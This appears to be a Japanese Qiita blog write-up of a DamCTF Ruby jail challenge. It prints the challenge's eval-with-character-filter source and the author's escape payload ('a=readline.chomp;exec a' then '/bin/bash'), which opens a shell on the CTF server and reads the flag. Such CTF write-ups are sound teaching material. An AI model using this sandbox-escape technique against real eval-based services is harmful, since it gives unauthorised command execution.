LoginSignup
1
0

More than 1 year has passed since last update.

【DamCTF】misc/incharcerated のWriteUp

Posted at

概要

2023年4月8日(土) 9:00から翌日9:00の24時間で行われたDamCTFのincharceratedという問題のWriteupです。
僕が所属するチームBegineers Secは451チーム中50位を取ることができました 🎉

image.png

incharcerated

Miscの問題です。451チーム出ていて、50チームしか解けていないのでMiscにしては割と難易度は高めだったと思われます。

image.png

ダウンロード

まずは問題を見ます。
ncで接続できるようになっていることがわかり、中で動いているコードがダウンロードできます。

jail.rb
#!/usr/bin/env ruby
# RUBY_VERSION == 3.2

puts <<~'HEADER'
      ----------------------------
        ||     ||      ||     ||
        ||     ||      ||     ||
        ||  ___|| ____ ||___  ||
        || /   ||'    `||   \ ||
        ||____/||______||\____||
        ||\   \||      ||/   /||
        || `\  ||      ||  /' ||
        ||    `||\    /||'    ||
        ||     ||\ \/ /||     ||
        ||     || `\/' ||     ||
      ----------------------------
  jailed for crimes against parentheses

HEADER

printf '>>> '
STDOUT.flush
input = readline.chomp

# cant make this too easy
class Object
  def system(*)
    'nice try youre not getting the flag this way'
  end

  def spawn(*)
    'or this way either'
  end
end

if input =~ /[^a-z.;=_ ]/
  # be nice and print out what character failed
  puts "failure builds character: #{Regexp.last_match}"
  exit 1
end

eval(input)

実行してみると以下のような感じです。

┌──(ayato㉿AyatoDesktop)-[~]
└─$ nc chals.damctf.xyz 31313
    ----------------------------
      ||     ||      ||     ||
      ||     ||      ||     ||
      ||  ___|| ____ ||___  ||
      || /   ||'    `||   \ ||
      ||____/||______||\____||
      ||\   \||      ||/   /||
      || `\  ||      ||  /' ||
      ||    `||\    /||'    ||
      ||     ||\ \/ /||     ||
      ||     || `\/' ||     ||
    ----------------------------
jailed for crimes against parentheses

>>>

コードが行ってること

コードはsystemspawnをオーバーライドして使えなくしています。

そして入力を\nまで読み込み、a-z, ., ;, =, _, が以外の文字が入っていたら終了します。

それ以外であれば、evalで入力値がRubyの命令として実行されます。

解法

Rubyの文法と使える文字列から考えて、着目点としては以下の通りです。

  • =で変数に文字を代入できる
  • "'の利用はできない
  • ;を用いて複数の命令を1行にかける
  • inputはチェックされるがそのあとにはチェックが行われない

つまり、変数に/bin/bashを代入して、execで呼び出せばいい。 ということになります。

具体的なペイロードは以下です。

a=readline.chomp;exec a
/bin/bash

このコードを実行すると、eval(a=readline.chomp;exec a)が実行されます。
そのあとに標準入力から受け取ったコマンドをexecで実行するので、/bin/bashが呼ばれます。

┌──(ayato㉿AyatoDesktop)-[~]
└─$ nc chals.damctf.xyz 31313
    ----------------------------
      ||     ||      ||     ||
      ||     ||      ||     ||
      ||  ___|| ____ ||___  ||
      || /   ||'    `||   \ ||
      ||____/||______||\____||
      ||\   \||      ||/   /||
      || `\  ||      ||  /' ||
      ||    `||\    /||'    ||
      ||     ||\ \/ /||     ||
      ||     || `\/' ||     ||
    ----------------------------
jailed for crimes against parentheses

>>> a=readline.chomp;exec a
/bin/bash

ls
flag
jail.rb
cat flag
dam{the-real-rubytaco-was-the-symbols-we-found-along-the-way}

わーい。楽しい問題でした。

1
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
0